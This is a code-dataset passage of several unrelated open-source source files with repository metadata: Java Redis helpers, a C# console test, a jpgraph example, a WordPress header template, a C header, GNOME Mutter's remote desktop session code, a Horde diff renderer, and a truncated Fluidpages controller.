// dbSize = jedis.dbSize();
// }finally{
// jedisPool.returnResource(jedis);
// }
// return dbSize;
return jedisCluster.dbSize();
}
/**
* keys
*
* @param regex
* @return
*/
public Set<byte[]> keys(String pattern) {
// Set<byte[]> keys = null;
// Jedis jedis = jedisPool.getResource();
// try{
// keys = jedis.keys(pattern.getBytes());
// }finally{
// jedisPool.returnResource(jedis);
// }
// return keys;
Set<byte[]> keys = new TreeSet<byte[]>();
Map<String, JedisPool> clusterNodes = jedisCluster.getClusterNodes();
for (String k : clusterNodes.keySet()) {
JedisPool jp = clusterNodes.get(k);
Jedis connection = jp.getResource();
try {
keys.addAll(connection.keys(pattern.getBytes()));
} catch (Exception e) {
System.err.println("Getting keys error: {}" + e.getMessage());
} finally {
System.out.println("Connection closed.");
connection.close();// 用完一定要close这个链接!!!
}
}
System.out.println("Keys gotten!");
return keys;
}
public int getExpire() {
return expire;
}
public void setExpire(int expire) {
this.expire = expire;
}
public int getTimeout() {
return timeout;
}
public void setTimeout(int timeout) {
this.timeout = timeout;
}
}
|
YihuaWanglv/itimes
|
itimes/src/main/java/com/iyihua/itimes/service/component/RedisService.java
|
Java
|
gpl-2.0
| 3,640
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Collective.Console.ServiceReference;
namespace Collective.Console
{
class Program
{
static void Main(string[] args)
{
System.Console.WriteLine("Starting..");
ServiceClient serviceClient = new ServiceClient();
///// Testing /////
ItemTest(serviceClient);
System.Console.Read();
}
#region Test Definition
static void ItemTest(ServiceClient serviceClient)
{
ServiceReference.Item[] items = serviceClient.GetItems();
items.ToList().ForEach((obj) =>
{
System.Console.WriteLine("Artist ID: {0}, ItemID: {1}", obj.ArtistID, obj.ItemID);
});
}
#endregion
}
}
|
CarlosNetMty/Collective
|
Collective/Collective.Console/Program.cs
|
C#
|
gpl-2.0
| 885
|
package nb.flaming;
interface EmptyContextCmd extends Cmd<Context> {
}
|
xuhaixiang/flaming-avenger
|
src/test/java/nb/flaming/EmptyContextCmd.java
|
Java
|
gpl-2.0
| 72
|
<?php // content="text/plain; charset=utf-8"
require_once ('jpgraph/jpgraph.php');
require_once ('jpgraph/jpgraph_line.php');
$datay = array(20,15,33,5,17,35,22);
// Setup the graph
$graph = new Graph(400,200);
$graph->SetMargin(40,40,20,30);
$graph->SetScale("intlin");
$graph->SetMarginColor('darkgreen@0.8');
$graph->title->Set('Gradient filled line plot');
$graph->yscale->SetAutoMin(0);
// Create the line
$p1 = new LinePlot($datay);
$p1->SetColor("blue");
$p1->SetWeight(0);
$p1->SetFillGradient('red','yellow');
$graph->Add($p1);
// Output line
$graph->Stroke();
|
XoopsModules25x/xhelp
|
include/jpgraph/Examples/gradlinefillex1.php
|
PHP
|
gpl-2.0
| 576
|
<?php
/**
* The header for our theme.
*
* Displays all of the <head> section and everything up till <div id="content">
*
* @package ultra
* @since ultra 0.9
* @license GPL 2.0
*/
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<link rel="profile" href="http://gmpg.org/xfn/11">
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
<?php wp_head(); ?>
</head>
<body <?php body_class(); ?>>
<?php include_once("analyticstracking.php") ?>
<div id="page" class="hfeed site">
<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'ultra' ); ?></a>
<?php get_template_part( 'parts/top-bar' ); ?>
<header id="masthead" class="site-header<?php if ( siteorigin_setting( 'header_scale' ) ) { echo ' scale'; } if ( siteorigin_setting( 'navigation_responsive_menu' ) ) { echo ' responsive-menu'; } ?>" role="banner">
<div class="container">
<div class="site-branding-container">
<div class="site-branding">
<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home">
<?php ultra_display_logo(); ?>
</a>
<?php if ( get_bloginfo( 'description' ) && siteorigin_setting( 'header_tagline' ) ) : ?>
<h2 class="site-description"><?php bloginfo( 'description' ); ?></h2>
<?php endif; ?>
</div><!-- .site-branding -->
</div><!-- .site-branding-container -->
<nav id="site-navigation" class="main-navigation" role="navigation">
<?php do_action('ultra_before_nav') ?>
<?php wp_nav_menu( array( 'theme_location' => 'primary' ) ); ?>
<?php if ( siteorigin_setting( 'navigation_menu_search' ) ) : ?>
<div class="menu-search">
<div class="search-icon"></div>
<form method="get" class="searchform" action="<?php echo esc_url( home_url( '/' ) ); ?>" role="search">
<input type="text" class="field" name="s" value="<?php echo esc_attr( get_search_query() ); ?>" />
</form>
</div><!-- .menu-search -->
<?php endif; ?>
</nav><!-- #site-navigation -->
</div><!-- .container -->
</header><!-- #masthead -->
<?php
$after_header = apply_filters( 'ultra_after_header', '' );
if ( siteorigin_setting( 'header_sticky' ) ) {
ultra_site_header_sentinel();
echo $after_header;
} else {
echo $after_header;
}
?>
<?php ultra_render_slider(); ?>
<div id="content" class="site-content">
<?php if ( class_exists( 'WooCommerce' ) && is_woocommerce() ) { get_template_part( 'parts/woocommerce-title' ); } ?>
|
conao/huso-theme
|
header.php
|
PHP
|
gpl-2.0
| 3,284
|
#include "boot_pack.h"
#include "wind_type.h"
w_err_t thread_shell(w_int32_t argc,char **argv);
int main(int argc,char **argv)
{
return pack_main(argc,argv);
}
|
yzfcer/wind_os
|
bsp/intel/core-i3-4170/windows_simulation/vs2010_pack/wind-pack/pack_main.c
|
C
|
gpl-2.0
| 173
|
/*
AlceOSD - Graphical OSD
Copyright (C) 2015 Luis Alves
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef VIDEOCORE_H
#define VIDEOCORE_H
enum {
VIDEO_XSIZE_420 = 0,
VIDEO_XSIZE_480,
VIDEO_XSIZE_560,
VIDEO_XSIZE_672,
VIDEO_XSIZE_END,
};
enum {
VIDEO_STANDARD_PAL_P = 0,
VIDEO_STANDARD_PAL_I = 1,
VIDEO_STANDARD_NTSC_P = 2,
VIDEO_STANDARD_NTSC_I = 3,
VIDEO_STANDARD_END = 4,
};
#define VIDEO_STANDARD_MASK (0x02)
#define VIDEO_STANDARD_SCAN_MASK (0x01)
union sram_addr {
unsigned long l;
struct {
unsigned int w0:16;
unsigned int w1:16;
};
struct {
unsigned char b0:8;
unsigned char b1:8;
unsigned char b2:8;
unsigned char b3:8;
};
} __attribute__((aligned(2)));
struct osd_xsize_tbl {
unsigned int xsize;
unsigned int clk_ps;
};
struct canvas {
unsigned int x, y;
unsigned int width, height;
unsigned int rwidth;
unsigned int size;
__eds__ unsigned char *buf;
unsigned char lock;
};
struct video_config {
/* video standard and scan */
unsigned char standard;
/* video X resolution id */
unsigned char x_size_id;
/* video Y resolution */
unsigned int y_size;
/* video X resolution */
unsigned int x_offset;
/* video Y resolution */
unsigned int y_offset;
/* video brightness */
unsigned int brightness;
};
void init_video(void);
/* canvas related functions */
int alloc_canvas(struct canvas *ca, void *widget_cfg);
int init_canvas(struct canvas *ca, unsigned char b);
void schedule_canvas(struct canvas *ca);
void render_canvas(struct canvas *ca);
void free_mem(void);
/* clear up display */
void clear_video(void);
void clear_sram(void);
void video_apply_config(struct video_config *cfg);
void video_get_size(unsigned int *xsize, unsigned int *ysize);
void video_pause(void);
void video_resume(void);
#endif
|
381426068/alceosd
|
firmware/alce-osd.X/videocore.h
|
C
|
gpl-2.0
| 2,558
|
/* -*- mode: C; c-file-style: "gnu"; indent-tabs-mode: nil; -*- */
/*
* Copyright (C) 2015-2017 Red Hat Inc.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
*/
#include "config.h"
#include "backends/meta-remote-desktop-session.h"
#include <linux/input.h>
#include <xkbcommon/xkbcommon.h>
#include <stdlib.h>
#include "backends/meta-dbus-session-watcher.h"
#include "backends/meta-screen-cast-session.h"
#include "backends/native/meta-backend-native.h"
#include "backends/x11/meta-backend-x11.h"
#include "cogl/cogl.h"
#include "meta/meta-backend.h"
#include "meta/errors.h"
#include "meta-dbus-remote-desktop.h"
#define META_REMOTE_DESKTOP_SESSION_DBUS_PATH "/org/gnome/Mutter/RemoteDesktop/Session"
enum _MetaRemoteDesktopNotifyAxisFlags
{
META_REMOTE_DESKTOP_NOTIFY_AXIS_FLAGS_FINISH = 1 << 0,
} MetaRemoteDesktopNotifyAxisFlags;
struct _MetaRemoteDesktopSession
{
MetaDBusRemoteDesktopSessionSkeleton parent;
char *peer_name;
char *session_id;
char *object_path;
MetaScreenCastSession *screen_cast_session;
gulong screen_cast_session_closed_handler_id;
ClutterVirtualInputDevice *virtual_pointer;
ClutterVirtualInputDevice *virtual_keyboard;
ClutterVirtualInputDevice *virtual_touchscreen;
};
static void
meta_remote_desktop_session_init_iface (MetaDBusRemoteDesktopSessionIface *iface);
static void
meta_dbus_session_init_iface (MetaDbusSessionInterface *iface);
G_DEFINE_TYPE_WITH_CODE (MetaRemoteDesktopSession,
meta_remote_desktop_session,
META_DBUS_TYPE_REMOTE_DESKTOP_SESSION_SKELETON,
G_IMPLEMENT_INTERFACE (META_DBUS_TYPE_REMOTE_DESKTOP_SESSION,
meta_remote_desktop_session_init_iface)
G_IMPLEMENT_INTERFACE (META_TYPE_DBUS_SESSION,
meta_dbus_session_init_iface))
static gboolean
meta_remote_desktop_session_is_running (MetaRemoteDesktopSession *session)
{
return !!session->virtual_pointer;
}
static gboolean
meta_remote_desktop_session_start (MetaRemoteDesktopSession *session,
GError **error)
{
ClutterDeviceManager *device_manager =
clutter_device_manager_get_default ();
g_assert (!session->virtual_pointer && !session->virtual_keyboard);
if (session->screen_cast_session)
{
if (!meta_screen_cast_session_start (session->screen_cast_session, error))
return FALSE;
}
session->virtual_pointer =
clutter_device_manager_create_virtual_device (device_manager,
CLUTTER_POINTER_DEVICE);
session->virtual_keyboard =
clutter_device_manager_create_virtual_device (device_manager,
CLUTTER_KEYBOARD_DEVICE);
session->virtual_touchscreen =
clutter_device_manager_create_virtual_device (device_manager,
CLUTTER_TOUCHSCREEN_DEVICE);
return TRUE;
}
void
meta_remote_desktop_session_close (MetaRemoteDesktopSession *session)
{
MetaDBusRemoteDesktopSession *skeleton =
META_DBUS_REMOTE_DESKTOP_SESSION (session);
if (session->screen_cast_session)
{
g_signal_handler_disconnect (session->screen_cast_session,
session->screen_cast_session_closed_handler_id);
meta_screen_cast_session_close (session->screen_cast_session);
session->screen_cast_session = NULL;
}
g_clear_object (&session->virtual_pointer);
g_clear_object (&session->virtual_keyboard);
meta_dbus_session_notify_closed (META_DBUS_SESSION (session));
meta_dbus_remote_desktop_session_emit_closed (skeleton);
g_dbus_interface_skeleton_unexport (G_DBUS_INTERFACE_SKELETON (session));
g_object_unref (session);
}
char *
meta_remote_desktop_session_get_object_path (MetaRemoteDesktopSession *session)
{
return session->object_path;
}
char *
meta_remote_desktop_session_get_session_id (MetaRemoteDesktopSession *session)
{
return session->session_id;
}
static void
on_screen_cast_session_closed (MetaScreenCastSession *screen_cast_session,
MetaRemoteDesktopSession *session)
{
session->screen_cast_session = NULL;
meta_remote_desktop_session_close (session);
}
gboolean
meta_remote_desktop_session_register_screen_cast (MetaRemoteDesktopSession *session,
MetaScreenCastSession *screen_cast_session,
GError **error)
{
if (session->screen_cast_session)
{
g_set_error (error, G_IO_ERROR, G_IO_ERROR_FAILED,
"Remote desktop session already have an associated "
"screen cast session");
return FALSE;
}
session->screen_cast_session = screen_cast_session;
session->screen_cast_session_closed_handler_id =
g_signal_connect (screen_cast_session, "session-closed",
G_CALLBACK (on_screen_cast_session_closed),
session);
return TRUE;
}
MetaRemoteDesktopSession *
meta_remote_desktop_session_new (MetaRemoteDesktop *remote_desktop,
const char *peer_name,
GError **error)
{
GDBusInterfaceSkeleton *interface_skeleton;
MetaRemoteDesktopSession *session;
GDBusConnection *connection;
session = g_object_new (META_TYPE_REMOTE_DESKTOP_SESSION, NULL);
session->peer_name = g_strdup (peer_name);
interface_skeleton = G_DBUS_INTERFACE_SKELETON (session);
connection = meta_remote_desktop_get_connection (remote_desktop);
if (!g_dbus_interface_skeleton_export (interface_skeleton,
connection,
session->object_path,
error))
{
g_object_unref (session);
return NULL;
}
return session;
}
static gboolean
check_permission (MetaRemoteDesktopSession *session,
GDBusMethodInvocation *invocation)
{
return g_strcmp0 (session->peer_name,
g_dbus_method_invocation_get_sender (invocation)) == 0;
}
static gboolean
handle_start (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
GError *error = NULL;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
if (!meta_remote_desktop_session_start (session, &error))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"Failed to start remote desktop: %s",
error->message);
g_error_free (error);
meta_remote_desktop_session_close (session);
return TRUE;
}
meta_dbus_remote_desktop_session_complete_start (skeleton, invocation);
return TRUE;
}
static gboolean
handle_stop (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
meta_remote_desktop_session_close (session);
meta_dbus_remote_desktop_session_complete_stop (skeleton, invocation);
return TRUE;
}
static gboolean
handle_notify_keyboard_keycode (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
unsigned int keycode,
gboolean pressed)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
ClutterKeyState state;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
if (pressed)
state = CLUTTER_KEY_STATE_PRESSED;
else
state = CLUTTER_KEY_STATE_RELEASED;
clutter_virtual_input_device_notify_key (session->virtual_keyboard,
CLUTTER_CURRENT_TIME,
keycode,
state);
meta_dbus_remote_desktop_session_complete_notify_keyboard_keycode (skeleton,
invocation);
return TRUE;
}
static gboolean
handle_notify_keyboard_keysym (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
unsigned int keysym,
gboolean pressed)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
ClutterKeyState state;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
if (pressed)
state = CLUTTER_KEY_STATE_PRESSED;
else
state = CLUTTER_KEY_STATE_RELEASED;
clutter_virtual_input_device_notify_keyval (session->virtual_keyboard,
CLUTTER_CURRENT_TIME,
keysym,
state);
meta_dbus_remote_desktop_session_complete_notify_keyboard_keysym (skeleton,
invocation);
return TRUE;
}
/* Translation taken from the clutter evdev backend. */
static int
translate_to_clutter_button (int button)
{
switch (button)
{
case BTN_LEFT:
return CLUTTER_BUTTON_PRIMARY;
case BTN_RIGHT:
return CLUTTER_BUTTON_SECONDARY;
case BTN_MIDDLE:
return CLUTTER_BUTTON_MIDDLE;
default:
/*
* For compatibility reasons, all additional buttons go after the old
* 4-7 scroll ones.
*/
return button - (BTN_LEFT - 1) + 4;
}
}
static gboolean
handle_notify_pointer_button (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
int button_code,
gboolean pressed)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
uint32_t button;
ClutterButtonState state;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
button = translate_to_clutter_button (button_code);
if (pressed)
state = CLUTTER_BUTTON_STATE_PRESSED;
else
state = CLUTTER_BUTTON_STATE_RELEASED;
clutter_virtual_input_device_notify_button (session->virtual_pointer,
CLUTTER_CURRENT_TIME,
button,
state);
meta_dbus_remote_desktop_session_complete_notify_pointer_button (skeleton,
invocation);
return TRUE;
}
static gboolean
handle_notify_pointer_axis (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
double dx,
double dy,
uint32_t flags)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
ClutterScrollFinishFlags finish_flags = CLUTTER_SCROLL_FINISHED_NONE;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
if (flags & META_REMOTE_DESKTOP_NOTIFY_AXIS_FLAGS_FINISH)
{
finish_flags |= (CLUTTER_SCROLL_FINISHED_HORIZONTAL |
CLUTTER_SCROLL_FINISHED_VERTICAL);
}
clutter_virtual_input_device_notify_scroll_continuous (session->virtual_pointer,
CLUTTER_CURRENT_TIME,
dx, dy,
CLUTTER_SCROLL_SOURCE_FINGER,
finish_flags);
meta_dbus_remote_desktop_session_complete_notify_pointer_axis (skeleton,
invocation);
return TRUE;
}
static ClutterScrollDirection
discrete_steps_to_scroll_direction (unsigned int axis,
int steps)
{
if (axis == 0 && steps < 0)
return CLUTTER_SCROLL_UP;
if (axis == 0 && steps > 0)
return CLUTTER_SCROLL_DOWN;
if (axis == 1 && steps < 0)
return CLUTTER_SCROLL_LEFT;
if (axis == 1 && steps > 0)
return CLUTTER_SCROLL_RIGHT;
g_assert_not_reached ();
}
static gboolean
handle_notify_pointer_axis_discrete (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
unsigned int axis,
int steps)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
ClutterScrollDirection direction;
int step_count;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
if (axis > 1)
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"Invalid axis value");
return TRUE;
}
if (steps == 0)
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"Invalid axis steps value");
return TRUE;
}
/*
* We don't have the actual scroll source, but only know they should be
* considered as discrete steps. The device that produces such scroll events
* is the scroll wheel, so pretend that is the scroll source.
*/
direction = discrete_steps_to_scroll_direction (axis, steps);
for (step_count = 0; step_count < abs (steps); step_count++)
clutter_virtual_input_device_notify_discrete_scroll (session->virtual_pointer,
CLUTTER_CURRENT_TIME,
direction,
CLUTTER_SCROLL_SOURCE_WHEEL);
meta_dbus_remote_desktop_session_complete_notify_pointer_axis_discrete (skeleton,
invocation);
return TRUE;
}
static gboolean
handle_notify_pointer_motion_relative (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
double dx,
double dy)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
clutter_virtual_input_device_notify_relative_motion (session->virtual_pointer,
CLUTTER_CURRENT_TIME,
dx, dy);
meta_dbus_remote_desktop_session_complete_notify_pointer_motion_relative (skeleton,
invocation);
return TRUE;
}
static gboolean
handle_notify_pointer_motion_absolute (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
const char *stream_path,
double x,
double y)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
MetaScreenCastStream *stream;
double abs_x, abs_y;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
if (!session->screen_cast_session)
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"No screen cast active");
return TRUE;
}
stream = meta_screen_cast_session_get_stream (session->screen_cast_session,
stream_path);
if (!stream)
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"Unknown stream");
return TRUE;
}
meta_screen_cast_stream_transform_position (stream, x, y, &abs_x, &abs_y);
clutter_virtual_input_device_notify_absolute_motion (session->virtual_pointer,
CLUTTER_CURRENT_TIME,
abs_x, abs_y);
meta_dbus_remote_desktop_session_complete_notify_pointer_motion_absolute (skeleton,
invocation);
return TRUE;
}
static gboolean
handle_notify_touch_down (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
const char *stream_path,
unsigned int slot,
double x,
double y)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
MetaScreenCastStream *stream;
double abs_x, abs_y;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
if (!session->screen_cast_session)
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"No screen cast active");
return TRUE;
}
stream = meta_screen_cast_session_get_stream (session->screen_cast_session,
stream_path);
if (!stream)
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"Unknown stream");
return TRUE;
}
meta_screen_cast_stream_transform_position (stream, x, y, &abs_x, &abs_y);
clutter_virtual_input_device_notify_touch_down (session->virtual_touchscreen,
CLUTTER_CURRENT_TIME,
slot,
abs_x, abs_y);
meta_dbus_remote_desktop_session_complete_notify_touch_down (skeleton,
invocation);
return TRUE;
}
static gboolean
handle_notify_touch_motion (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
const char *stream_path,
unsigned int slot,
double x,
double y)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
MetaScreenCastStream *stream;
double abs_x, abs_y;
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
if (!session->screen_cast_session)
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"No screen cast active");
return TRUE;
}
stream = meta_screen_cast_session_get_stream (session->screen_cast_session,
stream_path);
if (!stream)
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_FAILED,
"Unknown stream");
return TRUE;
}
meta_screen_cast_stream_transform_position (stream, x, y, &abs_x, &abs_y);
clutter_virtual_input_device_notify_touch_motion (session->virtual_touchscreen,
CLUTTER_CURRENT_TIME,
slot,
abs_x, abs_y);
meta_dbus_remote_desktop_session_complete_notify_touch_motion (skeleton,
invocation);
return TRUE;
}
static gboolean
handle_notify_touch_up (MetaDBusRemoteDesktopSession *skeleton,
GDBusMethodInvocation *invocation,
unsigned int slot)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (skeleton);
if (!check_permission (session, invocation))
{
g_dbus_method_invocation_return_error (invocation, G_DBUS_ERROR,
G_DBUS_ERROR_ACCESS_DENIED,
"Permission denied");
return TRUE;
}
clutter_virtual_input_device_notify_touch_up (session->virtual_touchscreen,
CLUTTER_CURRENT_TIME,
slot);
meta_dbus_remote_desktop_session_complete_notify_touch_up (skeleton,
invocation);
return TRUE;
}
static void
meta_remote_desktop_session_init_iface (MetaDBusRemoteDesktopSessionIface *iface)
{
iface->handle_start = handle_start;
iface->handle_stop = handle_stop;
iface->handle_notify_keyboard_keycode = handle_notify_keyboard_keycode;
iface->handle_notify_keyboard_keysym = handle_notify_keyboard_keysym;
iface->handle_notify_pointer_button = handle_notify_pointer_button;
iface->handle_notify_pointer_axis = handle_notify_pointer_axis;
iface->handle_notify_pointer_axis_discrete = handle_notify_pointer_axis_discrete;
iface->handle_notify_pointer_motion_relative = handle_notify_pointer_motion_relative;
iface->handle_notify_pointer_motion_absolute = handle_notify_pointer_motion_absolute;
iface->handle_notify_touch_down = handle_notify_touch_down;
iface->handle_notify_touch_motion = handle_notify_touch_motion;
iface->handle_notify_touch_up = handle_notify_touch_up;
}
static void
meta_remote_desktop_session_client_vanished (MetaDbusSession *dbus_session)
{
meta_remote_desktop_session_close (META_REMOTE_DESKTOP_SESSION (dbus_session));
}
static void
meta_dbus_session_init_iface (MetaDbusSessionInterface *iface)
{
iface->client_vanished = meta_remote_desktop_session_client_vanished;
}
static void
meta_remote_desktop_session_finalize (GObject *object)
{
MetaRemoteDesktopSession *session = META_REMOTE_DESKTOP_SESSION (object);
g_assert (!meta_remote_desktop_session_is_running (session));
g_free (session->peer_name);
g_free (session->session_id);
g_free (session->object_path);
G_OBJECT_CLASS (meta_remote_desktop_session_parent_class)->finalize (object);
}
static void
meta_remote_desktop_session_init (MetaRemoteDesktopSession *session)
{
MetaDBusRemoteDesktopSession *skeleton =
META_DBUS_REMOTE_DESKTOP_SESSION (session);
GRand *rand;
static unsigned int global_session_number = 0;
rand = g_rand_new ();
session->session_id = meta_generate_random_id (rand, 32);
g_rand_free (rand);
meta_dbus_remote_desktop_session_set_session_id (skeleton, session->session_id);
session->object_path =
g_strdup_printf (META_REMOTE_DESKTOP_SESSION_DBUS_PATH "/u%u",
++global_session_number);
}
static void
meta_remote_desktop_session_class_init (MetaRemoteDesktopSessionClass *klass)
{
GObjectClass *object_class = G_OBJECT_CLASS (klass);
object_class->finalize = meta_remote_desktop_session_finalize;
}
|
halfline/mutter
|
src/backends/meta-remote-desktop-session.c
|
C
|
gpl-2.0
| 27,499
|
<?php
/**
* "Context" diff renderer.
*
* This class renders the diff in classic "context diff" format.
*
* Copyright 2004-2017 Horde LLC (http://www.horde.org/)
*
* See the enclosed file COPYING for license information (LGPL). If you did
* not receive this file, see http://www.horde.org/licenses/lgpl21.
*
* @package Text_Diff
*/
class Horde_Text_Diff_Renderer_Context extends Horde_Text_Diff_Renderer
{
/**
* Number of leading context "lines" to preserve.
*/
protected $_leading_context_lines = 4;
/**
* Number of trailing context "lines" to preserve.
*/
protected $_trailing_context_lines = 4;
protected $_second_block = '';
protected function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
{
if ($xlen != 1) {
$xbeg .= ',' . $xlen;
}
if ($ylen != 1) {
$ybeg .= ',' . $ylen;
}
$this->_second_block = "--- $ybeg ----\n";
return "***************\n*** $xbeg ****";
}
protected function _endBlock()
{
return $this->_second_block;
}
protected function _context($lines)
{
$this->_second_block .= $this->_lines($lines, ' ');
return $this->_lines($lines, ' ');
}
protected function _added($lines)
{
$this->_second_block .= $this->_lines($lines, '+ ');
return '';
}
protected function _deleted($lines)
{
return $this->_lines($lines, '- ');
}
protected function _changed($orig, $final)
{
$this->_second_block .= $this->_lines($final, '! ');
return $this->_lines($orig, '! ');
}
}
|
mambax7/257
|
htdocs/modules/mylinks/class/Diff/Renderer/Context.php
|
PHP
|
gpl-2.0
| 1,641
|
#import <UIKit/UIKit.h>
#import "ThingerController.h"
@interface MethodListController : UIViewController <UITableViewDataSource> {
NSArray *instanceMethods, *classMethods, *ivars, *protocols;
NSString *cls;
id theCls;
IBOutlet UITableView *tableView;
}
@property (nonatomic, retain) NSArray *instanceMethods, *classMethods, *ivars, *protocols;
@property (nonatomic, retain) NSString *cls;
@property (nonatomic, retain) UITableView *tableView;
@end
|
pc/explorer
|
Classes/MethodListController.h
|
C
|
gpl-2.0
| 459
|
<?php
namespace FluidTYPO3\Fluidpages\Controller;
/*
* This file is part of the FluidTYPO3/Fluidpages project under GPLv2 or later.
*
* For the full copyright and license information, please read the
* LICENSE.md file that was distributed with this source code.
*/
use FluidTYPO3\Fluidpages\Service\ConfigurationService;
use FluidTYPO3\Fluidpages\Service\PageService;
use FluidTYPO3\Flux\Controller\AbstractFluxController;
use TYPO3\CMS\Extbase\Mvc\View\ViewInterface;
use TYPO3\CMS\Extbase\Mvc\Web\Response;
/**
* Page Controller
*
* @route off
*/
class PageController extends AbstractFluxController implements PageControllerInterface
{
/**
* @var string
*/
protected $fluxRecordField = 'tx_fed_page_flexform';
/**
* @var string
*/
protected $fluxTableName = 'pages';
/**
* @var PageService
*/
protected $pageService;
/**
* @var ConfigurationService
*/
protected $pageConfigurationService;
/**
* @var Response
*/
protected $response;
/**
* @param PageService $pageService
*/
public function injectPageService(PageService $pageService)
{
$this->pageService = $pageService;
}
/**
* @param ConfigurationService $pageConfigurationService
* @return void
*/
public function injectPageConfigurationService(ConfigurationService $pageConfigurationService)
{
$this->pageConfigurationService = $pageConfigurationService;
}
/**
* @param ViewInterface $view
* @return void
*/
